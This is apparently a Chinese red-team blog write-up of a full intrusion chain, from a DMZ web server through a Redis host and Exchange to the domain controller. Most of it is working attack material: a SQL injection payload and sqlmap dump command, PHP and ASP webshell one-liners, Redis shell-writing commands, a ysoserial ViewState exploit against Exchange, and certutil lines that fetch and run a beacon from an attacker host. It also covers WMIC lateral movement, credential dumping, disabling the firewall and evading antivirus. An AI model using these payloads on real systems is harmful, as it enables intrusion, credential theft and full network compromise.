他日若遂凌云志,敢笑黄巢不丈夫
本文首发于先知社区,原创作者即是本人
前言
在红队攻防中,需要我们拥有综合能力,不仅仅是web渗透的漏洞挖掘与利用,边界突破的方式有很多种,当然这需要我们拥有很强的意识,包括从web网站撕破口子,需要对各种漏洞的原理与利用了然于心,或者是通过社工钓鱼等方式,还需要我们拥有很强的代码功底,从代码的层面去分析问题,或者去写相关脚本进行利用,需要我们具有与杀软对抗的能力,需要我们熟悉web渗透,内网渗透,红队攻防的流程,进入内网之后,快速分析网络环境,以及自己所处的位置,找到拿到目标的最佳方法。
第一层 DMZ区
访问目标站点
端口扫描
nmap -sT xxx.xxx.xxx.xxx
目录扫描:
把它的备份文件下载到了本地,解压源码进行代码审计
代码审计拿密码
搜索请求类型:GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”
全局搜索这个关键点
d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin
搜索关键点:密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”
全局搜索这个方法名“mysqldatabak_down”
找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php
却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin
访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具
新建数据库,输入SQL文件
注意字符集是UTF-8
找到管理员账号密码进行登录,这里可以找到解密后的密码
SQL注入拿密码
hackbar构造payload:
http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
v_oid存在布尔盲注,为真的时候返回订单金额不符
为假的时候返回,订单未找到
请求包如下:
POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: close
v_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
保存成sql.txt
python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch
成功注入出账号和密码
代码审计拿shell
数据库备份邮箱拿shell
发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用
攻击地址:
http://xxx.xxx.xxx/
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell
如:');@eval($_POST[a]);('
连接地址:
http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php
密码:a
木马写入在
后台shell
构造payload:
http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>
漏洞利用
连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye
提权宝塔系统Bypass Disable Function
禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数,权限却是“system”,那就找找宝塔的配置文件、后台路径。
后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/
密码:C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj
宝塔的登录端口C:/BtSoft/panel/data/port.pl
8888
登录账号:C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)
然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录
成功登录
进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数
成功执行命令
查看进程:tasklist
存在火绒
cs拿shell
打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮,新建一个监听器,如图
生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图
保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图
这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。
成功绕过火绒的防护,cs成功上线
注入进程
进行信息收集
抓取到hash
通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的
!
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行
远程登陆
第二层 办公区
Earthworm穿透
上传EW(Earthworm)到C:/wwwroot/
服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24
192.168.59.4是存活的,我们着重看一下,发现开了80和6379
Redis-getshell
kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379
连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx
备份文件写Shell
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写入webshell
192.168.59.4:6379>save 最后保存
利用过程
代理蚁剑进行连接这个shell
连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis
并查看权限
利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下
成功进行提权
cs拿到shell
然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
对生成的exe文件进行免杀
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警
通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe
再通过提权工具进行执行
C:\ProgramData\xx.exe -i -c "beacon.exe"
此时查看cs,已成功上线
同样注入进程
进行信息收集
shell ipconfig
logonpasswords
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
挂代理,通过之前上传的EW(Earthworm)到C:/wwwroot/
Proxifier配置
可以通过redis的shell进行操作添加用户,也可以使用cs添加用户
远程登陆
第三层 核心区
通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下
探测内网段存活
nbtscan.exe 10.10.10.0/24
代理出网,拿下邮服
此时绘制出整个目标网络拓扑图如下:
将ew上传到bt和redis
首先,在VPS上开启如下监听,将1080端口监听的流量都转发到本地的888端口(关掉防火墙,要能够相互访问)
ew.exe -s lcx_listen -l 1080 -e 888
然后在服务器B上执行如下命令,监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999
最后在服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999
以上命令都执行完之后,设置socks5代理为VPS的1080端口
即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue
对ex13进行攻击
nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
蚂蚁剑可通过更改代理进行连接
在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件:
下载到本地,通过将两个pst导入outlook可以看到exchange的一个账号密码
登陆成功,访问https://10.10.10.209/ecp/default.aspx
获取viewstateuserkey
__VIEWSTATEGENERATOR=B97B4E27
cs拿到shell
然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
将木马通过cs上传到redis服务器的redis目录下
使用exp执行payload:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy
生成的payload,进行url编码
拼接成攻击的链接,反弹shell,得到Exchange服务器的System权限的会话
https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx
此时页面会返回500错误
查看cs,已上线
同样迁移进程
或者下载后门文件到exchange
第三层 域控
拿下域控
读取到本地有dc账号记录,那就可以直接用wmic横向操作一波
Mimikatz抓取到dc的账号密码
在server-ex机器上使用自带的WMIC.exe执行命令
shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"
成功上线cs
同样迁移进程
同样添加用户
同样挂代理
远程登陆
总结
在红队攻防实战中,作为一名红队攻击成员,要做到从外网进行边界突破,进入内网,绕过层层杀软与防护,分析面临的情况与问题,最终拿下目标。
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
```https://www.freebuf.com/author/国服最强渗透掌控者)